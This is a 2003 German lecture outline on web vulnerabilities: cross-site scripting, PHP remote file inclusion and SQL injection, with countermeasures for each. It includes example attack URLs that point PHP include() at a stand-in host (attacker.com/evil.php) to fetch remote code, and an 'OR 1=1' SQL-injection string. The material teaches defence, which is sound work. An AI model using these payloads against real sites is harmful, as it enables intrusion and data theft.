

Konstruktion sicherer Anwendungssoftware

“Cross Site Scripting (XSS)”

Stephan Uhlmann <su@su2.info>

1.7.2003

Copyright (c) 2003 Stephan Uhlmann

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts and no Back-Cover Texts. A copy of the license can be obtained from <http://www.gnu.org/licenses/fdl.html>.

0. Gliederung

1. Was ist XSS?

2. Arten von XSS

3. Geschichte

4. Im Detail

5. Quellen

1. Was ist XSS?

- Manipulation von Daten die ein Benutzer an eine Web-Anwendung übermittelt
- Dadurch: Einbettung schädlichen Programmcodes in eine für den Benutzer normalerweise korrekte Umgebung, Kontrolle über das Programm
- Ziel: Ausspähen und Manipulation von Benutzerdaten, Ausführen beliebigen Codes

2. Arten von XSS

- Client: Einbettung von schädlichen Programmcode in Webseiten
- Server: Ausführen von fremden Skripten
- Server: SQL-injection

3. Geschichte

- relativ neu, CA-2000-02: kein konkreter Angriff bekannt
- mit der Zeit wachsendes Verständnis der Technik und der versch. Angriffsmöglichkeiten
- 2002: rapider Anstieg der gefundenen Sicherheitslücken
- ICAT Metabase des NIST: 1999: 2, 2000: 4, 2001: 25, 2002: 99, 2003 (1.7.): 37

4.1. Im Detail: Einbettung von schädlichen Programmcode in Webseiten

- Übergabe von Javascript in GET-Parameter in einer URL
- Skript auf Webserver gibt Parameter ungefiltert aus
- Browser führt Javascript aus
- Gefahr: Cookie-Klau -> Übernahme von Sessions

- kann in Links (Klick), Image-Tags (autom. Ausführung) usw. eingebaut werden
- Angriffsziele: Foren, Gästebücher, Suchmaschinen, 404-Seiten, Webmailer
- Schutzmaßnahmen:
 - Benutzereingaben prüfen (auch Cookies!), Filterung von akzeptablen Werten (z.B. fest definierter Wertebereich)
 - Sonderzeichen vor Ausgabe konvertieren (wichtig: Festlegung des character sets um Sonderzeichen zu identifizieren)

4.2. Im Detail: Ausführen von fremden Skripten

- PHP `include()` erlaubt das Laden externer Dateien von anderen Servern
- Bsp. Navigations-Framework:
`http://foo.bar/index.php?file=start.html -> include($file)`
`http://foo.bar/index.php?file=http://attacker.com/evil.php`
- Bsp. Überschreiben von globalen Variablen:
`http://foo.bar/index.php?file=plugin.php`
plugin.php: `include($fnord)`, `$fnord` normalerweise durch `index.php` gesetzt
`http://foo.bar/plugin.php?fnord=http://attacker.com/evil.php`

- HTTP GET Anfrage an Fremd-Server
- Ergebnis wird anstelle des include() in das Skript eingebaut
- Ausführung beliebiger Befehle des Angreifers
- Schutzmaßnahmen:
 - Benutzereingaben prüfen, Filterung von akzeptablen Werten (z.B. fest definierter Wertebereich)
 - PHP: register_globals off (verhindert Überschreiben der Variablen), safe_mode on

4.3. Im Detail: SQL-injection

- `http://foo.bar/search.php?name=Skywalker`
- `SELECT * FROM mitarbeiter WHERE name='Skywalker'`
- `http://foo.bar/search.php?name=egal'%20OR%201=1`
- `SELECT * FROM mitarbeiter WHERE name='egal' OR 1=1`

- Schutzmaßnahmen:
 - Benutzereingaben prüfen, Filterung von akzeptablen Werten (z.B. fest definierter Wertebereich)
 - besondere Zeichen (Komma, Semikolon, Anführungszeichen) quoten
 - Trennung von internen und öffentlichen Daten

5. Quellen

- CERT Advisory CA-2000-02: “Malicious HTML Tags Embedded in Client Web Requests”
<http://www.cert.org/advisories/CA-2000-02.html>
- “The Cross Site Scripting FAQ”
<http://www.cgisecurity.com/articles/xss-faq.shtml>
- Stefan Krecher, “XSS for fun and profit”, Chemnitzer Linux-Tag 2003
<http://www.tu-chemnitz.de/linux/tag/lt5/vortraege/detail.html?index=70>

- “Understanding Malicious Content Mitigation for Web Developers”

http://www.cert.org/tech_tips/malicious_code_mitigation.html

- NIST: ICAT Metabase (CVE Datenbank)

<http://icat.nist.gov/>